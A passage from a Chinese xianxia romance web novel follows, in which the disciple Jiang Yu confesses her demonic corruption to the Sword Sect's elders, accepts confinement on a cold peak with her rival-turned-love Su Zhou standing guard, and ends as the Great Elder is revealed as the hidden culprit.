宿舟只好停下动作。 姜鱼又问:“我在于师兄身上试的办法,是不是没用了?” 宿舟:“也许只是需要时间。” 时间…… 姜鱼凝眉盯着他,忽然明白了什么,眼中渐渐蒙上了一层水雾。 她不想被看出来,微微侧过头,“给我。” “什么?” “解酒丹。” 宿舟翻出解酒丹,担忧看着她,他听得出来,姜鱼的心情很低落,她的脸藏在阴影里,看不出表情。 一丸丹药递到面前,姜鱼回过头,她记得宿舟以前身上从来不带多余的东西,他也从来不喝酒,现在却随身带着解酒丹,为谁带的,不言而喻。 她眨了眨眼睛,没接那药丸,往前一靠,靠在了宿舟肩上。 少年动作一僵。 放下药,顺势将她揽在怀里。 两人保持着这个动作,好一会儿,宿舟感觉到肩膀上一片冰凉,潮湿的水汽洇开。 宿舟的心猛一揪,姜鱼哭了。 他抱着她,手臂悄然收紧。 马车里光线昏暗,两人相拥在一起,谁也没说话,却又像各自在酝酿些什么决定,片刻后,姜鱼开口,声音带着哽咽,“宿行云,你说,还会有明天吗?” 宿舟:“一定会。” …… 短暂休整之后,马车再次启程,姜鱼的沮丧只有半日,很快她又恢复了那副信心十足、开朗乐观的模样。 她还时不时调侃宿舟几句,倒是宿舟的话少了,有些时候只是看着姜鱼,像是怎么也看不够似的,连芸晚也看不透,他到底在想什么。 又十日后,慢悠悠的马车终于停在了芦叶城外。 原本今日就该进城,但到城门不远处,车轮忽然坏了,宿舟去修车轮,芸晚和姜鱼下车生火休息。 芸晚道:“这几天于师兄情况很稳定,等回到宗门,将情况说明,长老们应该会同意按你的方法办的,也不枉咱们在路上拖延这么久。” “拖延?”姜鱼看她,“你是说马车走得慢吗?” “嗯?”芸晚惊讶,“不是你安排的吗?” 姜鱼摇了摇头。 她心里清楚,拖延时日的另有其人。 这时,宿舟从马车那边过来了,淡声道,“马车还要三日才能修好——” 姜鱼:“三日,不是三十日?” 宿舟垂眸看她。 姜鱼:“马车根本就没坏。” 芸晚看看姜鱼,又看宿舟,意识到情况不对劲了。 姜鱼把手里的树枝扔下,问他,“你早就知道了,对么?” 宿舟看向芸晚。 姜鱼:“别看师姐,我不想瞒着她,你早就知道,我也入魔了。” 芸晚心里咯噔一下,拨弄火堆的手轻轻颤抖。 “你一直拖延时间,在马车上动手脚,不是为师兄,是因为我。”越是临近剑宗,她就越发坚强起来,之前的脆弱全都被她隐藏起来。 “说说看吧,你的打算。” “别回去。”宿舟道,“找个安全的地方,继续照你的办法行事。” “为什么?” “我见过那颗魔种,其中的能量要消耗殆尽,不是一两年能办到的。”他说,“五年十年也好,总有一天,你能做到。” “那你呢?” “我回宗复命。” “不止吧。”姜鱼眼神清澈而犀利,似乎看透一切,“这几天你一直在偷偷看书,都是和剑骨相关的。” 宿舟没想到她发现了,不禁避开了她的视线。 “你想把剑骨给我,因为剑骨可以压制魔气,对吗?” “……” “那邪修研究了那么多年,都没办法转移剑骨,你凭什么可以?” “我总会找到办法。” “我不要。” 宿舟眉心一跳,暗自握紧了拳。 “剑骨在我身上,怎么处置,我说了算。” “那我也不要。” 两人之间的气氛紧绷,说吵架又不像,说不是吵架,双方态度都很决绝,芸晚捏着一把汗。听了两人的话,她才知道,宿舟竟然抱着不让姜师妹回宗的想法,他这些日子拖延时间,原来是为了和姜鱼多相处些时日…… 僵持片刻,宿舟道:“先不说剑骨,你不能回宗。” “我一定要回去。” “宗内有危险,你忘了李休音?” “我不怕危险。” “姜鱼——” “宿行云,你别管我。” 宿舟深吸口气,毫不退让,“我不会让你回宗。” 姜鱼忍不住站起来,“你又不是我爹娘,凭什么管我?” 话一出口,宿舟眼眸微暗,一丝受伤神色划过。 她的手指蜷了蜷,说这种话,她心中未必好受。 她知道宿舟已猜出自己的意图,不想她去冒险,但她早已决定,非回去不可。 她怀疑自己入魔,就是幕后那人的打算,若不回去,怎么能验证那人是不是宗主?怎么能让对方露出马脚? 不入虎穴,焉得虎子,她现在有些后悔了,早知道不把师姐的秘密告诉他,不然他怎么会猜出自己的打算。 “你让我别回去,于师兄怎么办?” “你把他一起带走。” “要是长老质问起来,怎么办?” “一切后果,我来承担。” “你怎么承担?说你把我逼走了?你知道宗规会怎么罚你吗?” 宿舟深深看了她一眼,“姜鱼,你觉得我会怕这些?” 姜鱼心一颤。 “你的剑、你的前途、天骄之位,这些难道都不要了吗?” “只要你平安……是。” 他回答得这样笃定,说明不知道在心里想过多少遍了。 姜鱼心里骤然冒起一团火,既心疼又生气,“是个毛线!你就觉得你一定承担得了?要是长老根本就不信你的,怎么办?要是我走了之后,还是控制不住魔化了,又该怎么办?哪一种变数你能控制?你就知道逞你的英雄主义,宿行云,我讨厌你!” 宿舟的脸色骤然苍白。 一口气说完,姜鱼的手还在发抖,不敢看对方的表情,话说得这么狠,他肯定要被气走了吧? 气走也好,总归比他想承担一切要好…… 这样想着,腰间骤然一暖。 宿舟走上前来,把她抱在了怀里。 姜鱼一怔,有些错愕,他竟然不走,还回头了……隔着单薄的衣衫,她能感觉到,少年的身体在颤抖。她顿时心软得一塌糊涂,眼中涌上涩意,视线逐渐模糊。 “我刚刚说讨厌你,是乱说的。” “我知道。” “我不想跟你吵架。” “我知道。” 他这会儿倒是知道了,姜鱼忍不住破涕为笑,想到芸晚就在身后,他们还这样腻歪,忍不住推了他一把,“你先松开,师姐还在呢。” 宿舟道:“师姐没看我们。” 芸晚:…… 她默默把头扭开。 姜鱼:“真的吗?” 宿舟:“真的。” 他垂眸,轻轻吻去了姜鱼脸上的泪。 第54章 姜鱼身体轻轻一颤, 好一会儿,才推开了他。 回头一看,芸晚还真没看着他们, 她低头看着火堆,仿佛已经入定。 姜鱼有些不好意思,在师姐面前闹了这么一出,真是够丢脸的, 不过如今话都已经说开, 她知道了宿舟的想法, 师姐也知道她的秘密, 总比之前都闷在心里憋着强。 “师姐——” 芸晚抬头, 像是猜到了她想说什么,“别说什么让我当做没听到,听起来这事关剑宗, 我是剑宗的一份子, 该做什么不该做什么,等我听完整之后自有决定。” 她看了看两人, “放心,这里我最冷静,也没人让我要死要活的。” 姜鱼:…… 宿舟:…… 她都这么说了,三人各自冷静了一会儿, 决定找个地方坐下来慢慢商量, 也别各自逞能了, 找出大家都赞同的方案再行动。 进了芦叶城, 他们找了家客栈落脚,关紧房门,又布下了几层结界, 开始商量正事。 姜鱼、宿舟和芸晚围坐在桌前,姜鱼先将之前发生的事情跟芸晚梳理了一遍,芸晚表情渐渐严肃。 她才知道,于照和姜鱼入魔并非巧合不幸,很可能是有人在背后暗中安排,令她心惊不已。 “从于师兄魔化的程度来看,他应该是在第二次试炼出发之前就生出了魔念,这更让我怀疑,是宗内有人对他下手了。” 话说到这,芸晚也放下个人意见,仔细想了想,“说起来应该是冬日试的时候,他找我几次谈我姐的事,那时我觉得他有些不对劲,但没细想……” “冬日试……那就是李师姐去世前后。” “是。” 姜鱼神情凝重,从洛雨到兰姨,再到李师姐和于师兄,最后再到她自己,有人在她身上绕了这么大一个圈子,到底想要什么? “如果那人的目的是师妹你,前面所做这些,是否是为了引你入魔?”芸晚猜测。 “有必要吗?” 她现在已有入魔征兆,对方的目的不是已经达到了? “师妹,其实我觉得你……不像入魔了。”芸晚斟酌着说,“当时于师兄入魔,对我提剑就砍,要不是宿师弟救我,我已经死了,但你直到现在,也没有任何失控表现。” 姜鱼愣了一下。 芸晚问,“据说先有魔念后生魔种,师妹,你的执念是什么?” 姜鱼认真想了想,这些日子,她唯一感觉失控的时候,是喝醉之后对宿舟产生了欲念,那时甚至说不清到底是喝醉了还是欲念上头…… 要说她的执念是什么,她看了一眼坐在一旁宿舟,这几年她唯一的执念就是赢过他。 芸晚看了看他两,温和道:“姜师妹,说实话,我觉得这最多算是意气之争,算不上执念。” “算不上吗?可五峰主现在还记恨我师尊呢。” “那是因为她落败了,五峰主接受不了的是自己的失败,你和宿师弟不是还没分出胜负吗?” 姜鱼:…… 这么说,她确实没什么执念,就连继承她娘的剑这件事,一直放在心上,行动上也不够努力。 “所以,师妹,你这种人应该是最不容易入魔的。”芸晚道,“会不会因此,那人才从你身边的人下手呢?” 姜鱼觉得这话好像有道理,但依然没能解释明白,从这些人身上下手,也没让她入魔呀……而且,她如果不是入魔了,为何会看到魔纹呢? 这个问题芸晚也回答不了,在所知有限的情况下,他们只能走一步看一步,姜鱼说出自己的计划,“带师兄回宗,我会说出自己入魔的事实,将幕后之人引出来。如果他的目标是我,一定还有下一步的动作。” 宿舟眉心一跳。 芸晚道:“这是不是有些太过冒险?” 姜鱼:“不管这人是不是宗主,他现在还藏着不出现,说明他有所忌惮,剑宗不是他一个人的,还有爹娘、师尊、其他长老们……” 剑宗能成为名震天下的大宗门,宗内明事理、办实事的人要占多数,姜鱼相信,他们都不是不讲道理的人。 看来姜师妹也不是毫无准备,芸晚稍稍放心下来,但她仍然有一个问题不解,“你说宗主做这些的目的是什么呢?” 这个问题姜鱼从出宗的时候就在想了,曾经毫无头绪,自从见了问天剑灵,她有了些新的猜想,“当初在问天剑灵面前,他说自己是‘被弃之身’,我故意顺着它的话说,它成了被主人抛弃的棋子,当时剑灵并未否认我的话,反而恼羞成怒,说明我说的是对的。” 其他两人对视一眼,当时他们聚精会神对付剑灵,都没注意到这些,这样看来,小鱼是真的一直比别人想得更细、想得更多。 “这话从问天剑灵口中说出来,只有两种可能,要么剑尊飞升时,将它抛弃了,它有了新的主人。要么,问天剑尊飞升根本就是一个谎言,剑尊他还活着。” 姜鱼的推测让房间里陷入长久沉默。 问天剑尊还活着这话,说出去恐怕会引起轰动,光是他的剑还在人间这事就已经够震惊了,剑尊还在,这可能吗? 片刻后,芸晚道:“这恐怕不可能……” 她顺着姜鱼的思路猜测,“更有可能的是,宗主无意间找到了那块剑灵残片,受影响产生了魔念,于是将残片丢弃,但本身的魔念却不能消除了,所以才一直不露面……” 光凭猜测难以得出结论,要想找出真相,还是只能回宗去。 话说完,姜鱼看了看宿舟,“是让我离开,你一个人承担一切,还是我们回去,风雨共担,你选一个吧。” 宿舟:…… 他已经了解了姜鱼一定要回去的决心,但对于她的计划,说不担心是假的,就说她决定要当众承认自己入魔的事实,想到她可能面对的质疑,就足够令他心碎了。 双眉紧皱时,清浅香气靠近。 姜鱼凑过来,按了按他的眉心,“好了,别担心,我都这么倒霉了,也该否极泰来了。相信我,好吗?” “……好。” 计议已定,是日下午,马车悠悠驶回了剑宗。 除夕刚过,宗内弟子还沐浴在新年的气氛中,宗内氛围和乐。下了马车后,三人带着于照,乘飞舟到了主峰书阁之前,刚刚下过一场小雪,广场上覆着一层浅白,因为姜鱼已提前通知过有要事,长老和几位峰主都到了。 见他们现身,有不少弟子也凑过来围观,听说各地魔物出现频率变高,料想他们这一趟试炼恐怕没那么顺利,弟子们难免好奇他们都经历了什么。 人群渐渐聚集,姜鱼并没有急着说话,直到长老们有些不耐烦了,催促道,“姜鱼,你还要等什么?” 姜鱼环视四周,就这会儿功夫,几位天骄、主峰附近的弟子们都来了,收到消息的隋鹭、西江月也陆续现身,除了惯例不在的宗主和出去办事的大长老,二长老、她爹都在场。姜怀城看着女儿,脸色凝重,一言不发。 等人来的差不多了,姜鱼开始讲述这次试炼经历了些什么,当她说到“发现问天剑残片,林风偷袭死于冻河中”时,许多人脸色已不对劲了。 六峰主勃然怒道,“姜鱼,剑尊早已飞升,你竟然敢在宗内公然诋毁剑尊,说什么问天剑还在人间,我看你是害死吾徒,想出来的借口!” 六峰长老也道:“两次试炼,都说机关球损坏,你们几个分明是故意针对阿风,欺我六峰无人是吧?” 六峰弟子们纷纷附和。 “六峰主,别急于发怒。”四峰主悠悠道,“问天剑若留存人间,还成了魔剑,这可是大事,谅几个弟子不敢在这种事情上胡编乱造,姜鱼你这么说,可有证据?” 姜鱼和宿舟对视一眼,将封印着残片的封印盒取了出来。 见到此物,众峰主、长老神情严肃,由二长老开盒一看,不由脸色骤变,“竟真是问天剑……” “什么?!” “怎么可能?” “问天剑还在人间?!” 乱七八糟的议论声响起,问天剑尊出自剑宗,对弟子们而言,是道标偶像级别的人物,这消息实在震惊众人。 震惊之余,又不得不佩服,姜鱼几人竟然能封印魔化的问天剑,还平安回来了,简直不可思议,这就是天骄候选的实力么? 而姜鱼接下来说出于照入魔之事,更引起了轩然大波,二峰主疾步上前,一把扣住于师兄脉门,眼神从不可置信转为震惊,“照儿,你、你竟然……难道是受问天剑影响?” 于照也只好点头。 当着这么多人的面,他不想把芸晚牵扯进来。 二峰主脸色灰白,沉沉叹气,对他说,“早知如此,就不该让你去……唉!” 于照顿时顾不上什么难堪不难堪,心中升起一阵愧疚,“是弟子辜负了峰主。” “别说这种话了,碰上问天剑灵,能活着回来,已属不易。” 他边说边叹气,因为他心中清楚,入魔之人,必死无疑,他这徒弟,是谁也保不住了。当初于照说自己不想再参与天骄之争,就不该坚持让他去,二峰的脸面又哪有弟子的性命重要呢? 二峰主正长吁短叹之时,姜鱼又说,她找到了抑制魔化的办法,二峰主喜出望外,“此话当真?” 姜鱼详说了自己的办法,六峰主道:“也就是说,你这办法只是拖延时间,你也不知道有用没用?” 姜鱼道:“我确实不敢保证,我提出这个想法,也是希望各位医修和我一起研究。” 她将之前对芸晚说过的话又说了一遍。人群中,医修们面面相觑,自从魔渊封印,魔族绝迹,已很少有人去考虑魔族的问题,这千年间,偶有魔族、魔化者出现,都是遵循旧例,杀了了事。谁也没想过,魔化能被阻止,应该改变对入魔者态度这种话,更有几分大逆不道,也只有她姜鱼敢说了。 但仔细一想,这话并不无道理,连魔化问天剑都出现了,日后如果魔化之人接连出现,能救为何要杀?现在又不是仙魔大战之时了。 连弟子们也被她一番话点醒,以前他们只觉得宗规就是如此规定的,现在想想,宗规如此,就对么? 本来于照在宗内人缘就好,不忍心见他死的人在多数,有个医修刚想站住来说话,六峰主骂道:“放屁!” “问天剑的事姑且算你有理,医道的事你也懂?你懂个屁!不过是想趁机拖延时间,再找机会放走这弟子,你这打算,以为我看不出来吗?” “我没打算放走于师兄。”姜鱼道:“我会和师兄一起。” “你说什么?”六峰主皱眉道,“你凑什么热闹?” “因为我也有入魔之兆。” 话音落,众人皆惊。 一句话像是炸开了锅,什么叫“她也有入魔之兆?”,姜鱼也入魔了?!既然这样,她竟然还能这么平静站在这? “姜师妹也入魔了?!” “不可能吧?” “师妹也太倒霉了吧……” 也有六峰弟子幸灾乐祸起来。 “难怪她非要力保于照,原来她也中招了。” “活该,她这么跳,就知道要出事。” “都成魔物了,还在这逞能呢,怎么还不把她宗规处置了?” 宿舟冷眼扫过,那几个弟子浑身一寒,顿时不敢说话了。 姜鱼平静宣布自己已有入魔之兆,引来的惊讶比之前问天剑现世更甚,现场几乎炸开了锅。不知不觉,在弟子们心中,姜师妹有能力又有脑子的形象已经深入人心,他们觉得,哪怕其他人都入魔了,姜鱼也不会入魔。 尤其是三峰弟子,更是又惊讶又心疼,眼眶泛红,要不是长老们在前,都要冲上来了。 唯有姜怀城依然一言不发,脸色铁青。 六峰主还在惊讶,人群之中,屠石站出来道,“既然你和于照都入魔了,就该按宗规一并处死!” 他那边几个拉拢的弟子喊起来,“一并处死!” “魔物就该死!” …… “吵什么?”隋鹭双手搭袖,轻飘飘道,“你是当我们这些人都死了吗?现在剑宗由你们做主了?” 屠石脸色一白,顿时不敢说话了,心中不由嫉恨,这姜鱼都入魔了,竟然还有这么多人保她,真是不公平。 姜鱼接着说,“六峰主说我是拖延时间,我会和师兄一起,在落寒峰自禁,以半年为期,如果情况没有好转,到时再由宗规处置。” “你——” 这话说得六峰主几乎无余地反驳,但林风之死,叫他咽不下这口气,他和一干守旧长老都不愿意松口,场面僵持起来。 于是众人下意识看向二长老和三长老,宗主和大长老不出面,按理说,就该是他们两主持局面。 宗内皆知,大长老宽和,二长老严苛。三位长老中,二长老最重剑宗威严,是宗规的维护者,她沉吟片刻,开口道,“既然意见不一,大家各自表态吧,我支持按宗规行事。” 话音落,场中四人脸色俱是一沉。二长老这样表态,情况恐怕不妙。 很快,六峰主和几位长老都表示支持。 隋鹭道:“于私我是小鱼的师尊,于公,我是剑宗一峰之主,我知道培养一个弟子多不容易,但凡有一丝挽救弟子的机会,也不该放弃,我支持小鱼的想法。” 四峰主和二峰主表示赞同。 众人目光落在五峰主西江月身上,现在两派僵持不下,人数都差不多,她和五峰长老们的态度就显得尤为重要了。 西江月看向场中四人,自始至终,宿舟就站在姜鱼身边,徒弟这样明目张胆支持姜鱼的态度,令西江月颇为不快,而且她从来不和隋鹭站在一边,隋鹭支持的,她必要反对。 但开口之前,她看向姜怀城,有些好奇,“三长老为何一言不发?” 随着她的话,众人齐刷刷看向三长老,心想,他一直不开口,难道是避嫌?这决定关系到姜鱼生死,他也能不说话,该说三长老不愧是三长老吗? 姜鱼默默看向她爹,抿了抿唇。 来之前,她已经将情况据实相告,当时爹只回复了三个字“知道了”,她以为爹再怎么说也是支持她的,没想到如今众目睽睽之下,爹要和她划清界限吗? 想到这,心中不禁一阵酸楚。 在众人注视之下,姜怀城上前一步,“各位,我姜怀城任剑宗长老之位,已过百年,自认一直以来勤恳办事,秉公持正。今日,我以长老之位担保,我女儿所言,一字不假,她的办法,值得一试。” 他看向姜鱼,看到女儿不可置信的眼神,看到她眼中慢慢噙满了泪,他语气一顿,接着说,“如果她不按约定办事,我亲自处置,但反之,谁要是敢伤害她,我绝不放过。” 话说完,场中一片寂静。 芸晚和于照都松了口气,幸好,关键时刻,姜长老还是站在小鱼这边的。 宿舟再度看向西江月,眸中暗含恳求。 西江月沉默片刻,终究松了口,“既然三长老都这么说了,那便这么办吧。” 第55章 剑宗主峰上, 书阁之前,众长老峰主依次表态,姜怀城的话说完之后, 场中沉寂了好一阵,最终,支持姜鱼的占了多数,二长老也并非完全的不近人情, 她让大家表态, 已是给了姜鱼他们一个机会, 既然表态结果如此, 她也表示了认同。 “问天剑残片暂时封存, 等大长老回来后,再商议如何处置。” “你们两人,就去落寒峰吧。” 她又召集医修们, 让他们先按姜鱼的办法行事, 这才让大家都散了。 这一次,姜鱼达到了目的, 她入魔之事传遍全宗,又争取了时间,剩下的就要看对方如何出手了。 落寒峰在天剑七峰之外,也属于剑宗的副峰之一, 不过远离主峰, 从西北来的寒风常年吹拂, 冰雪覆盖, 气温极低,环境恶劣。 一般犯了错的弟子会被打发来这里思过,凛然寒风吹上几个月, 人都会吹得发蔫。 峰上辟了两个山洞,姜鱼和于照暂时就待在山洞中,每过三天,有医修来看他们,和姜鱼一起研究魔种的克制方法。这件事不止是在剑宗,在整个修真界都引起了不小的轰动,剑宗竟然开始研究魔种了,他们要不要也跟上步伐? 在落寒峰清苦的寒风天里,来的不止是医修,还有人天天守在洞口,一步也不曾离开。 “宿师弟,落寒峰待久了有碍修为,你不如——” “她怎么样了?” 从山洞中出来的医修好心提醒,被宿舟直接打断,那医修愣了一下,道,“姜师妹情况稳定……” “只是稳定?” “大家毕竟是头一次对魔种做这种研究,恐怕不会这么快有效果。” 见宿舟眉心蹙着,医修没再说什么,点头告辞了。他倒是有些奇怪,不是说宿师弟和姜鱼是死对头吗?他们如今关系竟然变得这么好了。 姜师妹在这的第一天起,他就一直陪在这里,寸步不离,这关系说是朋友恐怕都不止吧? 医修走后,山洞陷入寂静,只有风声在耳边呼啸。 玄衣少年斜倚着山壁,,细小的雪花落下,沾湿了他浓密的羽睫,他在寒风中岿然不动,仿佛已化为了一座雕像。 直到山洞中传来细微动静,似乎有人在喊他。 他霍然睁眼,靠近洞口,“怎么了?” 姜鱼的声音隔着一层雾白结界传来,“好像下雪了,你还好吗?” 宿舟:“没事。” 迟疑片刻,她说:“要不……你先回去?” “姜鱼。”他看向洞内,声音冷淡,“别管我。” “……” 这次所有的计划都听了她的,哪怕宿舟心中没那么同意,这时候再干涉他,他心里肯定不高兴,但姜鱼只是担心这样天寒地冻的环境,容易诱发他剑骨的伤势。见过他痛得失去知觉的样子,就不想他再因此受折磨了。 只是这次出了这样的意外,天骄评选已暂时搁置了,结果没有公布,自然拿不到奖励,宿舟暂时也拿不到修补剑骨的材料。这事说起来也是受她影响,但他连提都没提过一句,更让姜鱼过意不去了。 “那你进来吧?” 宿舟愣了一下。 他面前一层结界是三长老亲手布下的,医修都要凭令牌进,他怎么进去? 姜鱼凑到洞口,小声说:“这结界其实我控制的。虽然他们拿着令牌来,但让他们进来的是我。” 宿舟:? 他试着往结界走了一步,云雾自然散开,没有阻拦,再往前走几步,就见姜鱼蹲在洞口,眼巴巴看着他。 他眉心一跳,“怎么回事?” 姜鱼往后挪了挪,坐会自己软乎乎的垫子里,“爹在布置结界的时候,将口诀告诉了我,我可以操纵结界。” 他们的目的是引出幕后之人,在明知有人会针对姜鱼的情况下,还把她困在这里,岂不是放任那人行事,三长老在布置结界的时候就想到这点,把结界控制权交给了她。这也等于把去留的权利都给了她,她如果想走,随时可以离开剑宗,而姜怀城早就说过了,他会承担责任。 虽然平时没少给女儿泼冷水,关键时刻,姜怀城还是拿出了父亲该有的担当。 宿舟进了山洞,先感觉到一阵暖意,洞里不仅生着火炉,还用火灵石摆了灵阵,地上铺着厚厚的绒毯,堆着好几个软枕,摆着小几,几上茶香袅袅,还有一些糕饼糖点,姜鱼窝在那堆枕头里,像只柔软的小猫。 宿舟:…… 还以为她也在里面挨冻,是他想多了。 她把这山洞收拾得像个温暖的小窝,就差在毛毯上踩奶打呼噜了。 “站着干什么,坐呀。” 姜鱼给他倒了一杯茶,宿舟喝了一口,这还是灵茶,喝完浑身都暖和起来了。 姜鱼托着下巴看着他,“好喝吗?” 他放下茶盏,“这是不是有点太放松了?” “放松?我一直在打听消息呢。” 她取出一堆传讯符,在桌上依次铺开,每张传讯符都在闪烁,看起来还挺忙的。 “这张是芸师姐的,我请她去看天骄榜,自从剑灵回归,看看天榜是否有异动。” “有吗?” “暂时没有。” “这张是联系爹娘的,自从我离宗,他们就在探听跟宗主有关的消息。”姜鱼拿起符纸看了看,皱起眉,“可宗主露面的次数太少了,平时基本上看不到他……” “上次李师姐病时,宗主没去看望过?”宿舟问。 “去过呀。” 姜鱼又拿出一张符纸,“不过宗主去的时候我不在,我问了那时看门的弟子,他说看到过宗主。” “只是弟子看到过?” 姜鱼点点头。 宿舟陷入沉思,剑宗宗主太神秘了,自他入宗以来,都没见过宗主一面,但他入宗也不足十年时间,十年对宗主这种程度的修士来说又真不算什么,往往闭关一次就是几十年过去了。 但就算这样,宗主的存在感似乎也太低了。 姜鱼又看向旁边,“这是薛少主来的消息。” 宿舟眉梢一动。 “他说什么了?” 姜鱼压着那张符纸,“其实也没什么。” “让我看看。” 和之前不同的态度,姜鱼挑了挑眉,“这么在意?” 宿舟沉默片刻,嗯了一声。 姜鱼往前凑了凑,“这是……吃醋啦?” “嗯。” 听他承认,姜鱼脸微微一红,挪开手,“其实也没说什么……” 宿舟拿起来一看,薛清浪的消息是说海洲那边魔物出现的情况,没说别的什么,他暗自松了口气。 姜鱼收起拿起符纸,有些得意,“所以,我虽然足不出户,实则在掌控全局。” 见她心情状态都不错,宿舟稍微放心了些,但他更关心的还是姜鱼身上魔化的情况,垂眸看她的手,手指修长,皮肤白皙,当初看到一闪而逝的魔纹仿佛只是错觉。 顺着他的视线,姜鱼把手伸到他面前,“仔细看看?” 宿舟:…… “其实魔纹这些日子都没出现,上次还是喝醉了在马车里……”她眨了眨眼睛,“你说,你是不是我魔念的源头啊?” 宿舟动了动唇,不知该怎么回答她这话。 “要不试试?”姜鱼提议。 “怎么试?” “你过来。” 被她招呼过去,姜鱼伸手环抱住了他的腰,宿舟浑身一僵,她的头发落在手背、膝头,带来一阵麻痒。 姜鱼抬眸,眼眸清澈无辜:“什么感觉?” 宿舟:“……难道不是问你?” “对哦。” 是她想测试魔念来着。 她稍微坐起身,换了个姿势,头挨在他颈侧,动了动鼻子,“你身上的气味真好闻,雪松香调……” 在这暖和的山洞内,他身上的冷香显得尤为明显,是姜鱼很喜欢的味道。这词听起来陌生,宿舟猜想,大概是他常在院子后面的松林练剑的缘故。 片刻后,她抬起头,眨眨眼睛,“暂时没感觉到什么……要不,亲一个?” 话说完,脸先红了。 说是为了测试,但心里的期待感做不了假,和宿舟接吻的感觉,她也偷偷在心里回味过,有些让人上瘾。 宿舟的呼吸有些急促,耳根红透,真不知这是测试姜鱼,还是在测试他。这种情况下,他也很难保持冷静,血液好像在沸腾,喉结不自然滚动,低声答应,“好。” 姜鱼闭上眼睛,缓缓凑过来。 宿舟低头看着她,他发现姜鱼接吻时喜欢闭眼,浓翘的睫毛轻颤,脸颊粉红,唇形小巧似花瓣,和她本人一样漂亮可爱。 山洞内气息温暖宁和,漫天风雪被隔绝在外,两人紧紧挨着彼此,深深拥吻在一起。 这一吻,亲到彼此气息紊乱才舍得分开,姜鱼只觉唇上发烫,身体发软,心跳乱得没了分寸,简直……刺激。 她没感觉到魔念,只感觉到甜甜的滋味涌荡心头,忍不住想笑,心轻飘飘的,像是要飞起来。 这种感觉,与其说是着魔,不如说是快乐。 她好像……是真的喜欢上宿舟了。 要是他们在一起,能谈剑、谈宗门,谈天说地,有说不完的共同话题,她想什么,宿舟都知道。 这样的人,除了他,她再找不出第二个来。 她看着宿舟,想说:要是这次能平安度过危险,他们就在一起吧?山洞外忽然传来一阵痛苦嘶吼声。 宿舟脸色一变,“我出去看看。” 姜鱼来不及说话,他已提着剑出去了,洞外寒风呼啸,在风声中传来的呼喊声,竟是来自隔壁山洞。 “杀、杀了……杀了你们!” “啊啊啊!” 是于照的声音。 姜鱼凑到洞口边,“师兄怎么了?” “他失控了。” “怎么会这样?” 难道阻止魔化的药只对她有效,对于照没用? 宿舟也回答不了她,于照的嘶吼声持续了半个多时辰,才逐渐停下来,宿舟关心了他两句,几个弟子冒着风雪往这边来了。 落寒峰少有人来,他们应该是被罚来思过的弟子。 几人走到山洞前,听到谈话声,好奇凑过来,“还真是在这……” “啧啧。” “天骄候选,之前多不可一世,现在落得这个下场,过段时间就要变成魔物了!” “我看现在也不过是装装样子吧,姜鱼不就是仗着自己有个当长老的爹吗?” “李师姐都死了,她怎么好意思活着?” “我要是她,早就当场自尽了!” 几人说得唾沫星子飞溅,忽然觉得身上一寒,抬头就见宿舟冷着脸,正看着他们。 “宿、宿师弟……” “我见过你。”他对其中一人说,“你是屠石的跟班。” “师弟,你认错人了——啊!!” 谁也没想到,宿舟会在这时候拔剑,寒光一闪,那人竟然被活生生削掉了半个耳朵!其他几人吓得腿软跪地,那人捂着耳朵叫道:“宿舟,你疯了!蓄意伤害同门,你想死吗?!” 宿舟神色淡漠,不为所动。 几人身后忽然有人道:“他砍人不对,你们骂人就对了?” 那几个倏然回头,见隋鹭冒着风雪,悠然而来,几个弟子脸色煞白,“三、三峰主……” 眼见惹上忍不起的人物,几人也顾不上叫骂了,一溜烟跑的没影了。 隋鹭道:“跑什么,我这不是来为你们住持公道了?” 话随着风声送远,几人跑得更快了。 隋鹭:…… 她耸了耸肩,回头看向宿舟,他还站在山洞旁,剑上的一抹血迹已凝固了。 姜鱼紧张的声音透过山洞传来,“宿行云,你没杀人吧?” 宿舟刚要开口,隋鹭代他回答,“没有,就是下手轻了,我看应该多劈两剑。” 宿舟:…… 他后退一步,“三峰主。” 隋鹭对他摆摆手,“我不是来找你的,她才是。” 宿舟抬头,见隋鹭身后,还有人冒着风雪而来,那人一身白衣,身姿飘渺,正是西江月。他神色一僵,隋鹭已溜达进山洞见徒弟去了。 山洞里传来姜鱼讶异的声音:“师尊,你怎么把鸡也带来了?” 一分神的功夫,西江月已到面前,他躬身行礼,“师尊。” 西江月淡淡看了一眼他的剑,神色看不出喜怒,“跟我来。” 宿舟回头看了一眼。 西江月:“怎么,你还怕隋鹭把她徒弟吃了?” 宿舟:…… 他只好跟在师尊身后,西江月似乎只是漫无目的走着,落寒峰上留下师徒二人的足迹,很快又被风雪淹没。 “师尊——” “还记得我这师尊?”她冷声道,“这次回来,你就守在这里,连五峰都没去过。” “弟子知错。” “哼。” “你为了姜鱼,已一错再错。”西江月道,“当初我收你为徒时,你是怎么说的?” “永不背叛师尊,不背叛剑宗。” “亏你还记得。” “但——为宗门找出幕后黑手,怎么算错?” “你还学会顶嘴了?”西江月道,“跟姜鱼学的?” “……” 他握紧了剑柄,无话可说。 西江月站在山头,眺望剑宗七峰,“你说那幕后黑手,是谁?” 宿舟迟疑。 “宗主?” “弟子觉得……不是。” “哦?” “问题还在李师姐身上。” 宗主要么不出现,要么去了就该有所帮助,可他只是露面看了一眼师姐就走了,倒像是刻意做给人看的。 “不是宗主,难道另有其人?” “接触过李师姐的人,能帮她遮掩魔纹的人——” “哟,还在聊呢。” 师徒二人正在说话,隋鹭从旁边走过来,招呼西江月,“还不走?” 宿舟回过头,见隋鹭竟然到这来了,心神一紧,霍然看向山洞方向,隔着茫茫风雪,一道灰袍人影如一只灰鸢,径直飞入山洞中。 “那是谁?!”—— 作者有话说:正文即将完结,主要是剧情线完结,恋爱内容会写在番外哦~ 第56章 隋鹭进了山洞, 关心姜鱼一阵,见她情况还好,又溜溜达达离开了, 临走时还把带来的鸡给她留下了。 说是怕她在这待着无聊,让鸡陪着她。 姜鱼抱着鸡,一阵无语,母鸡在她怀里咕咕两声, 羽毛滚烫, 她把脸贴在鸡背上取暖, 这时, 一阵风雪灌入, 山洞口的结界应声而碎! 姜鱼惊得一下站起身,这结界是她控制,她没有放人进来, 结界直接被冲碎, 这可是她爹布的结界,来人是谁?! 飞扬的雪沫落下, 灰袍人站在她面前。 姜鱼的心骤然一沉。 “大长老……” 大长老袖手而立,“见了我,你倒是不意外。” 姜鱼放下鸡,不着痕迹将它往山洞里面赶, “不, 我确实没想到来的人是你。” 大长老笑了笑, “你觉得是谁?宗主, 还是……二长老?” 姜鱼摇了摇头。 “你出现在这里,说明根本就没有什么宗主了,之前弟子见到的宗主, 也是你假扮的。” 大长老神色意外,“你倒是聪明。” 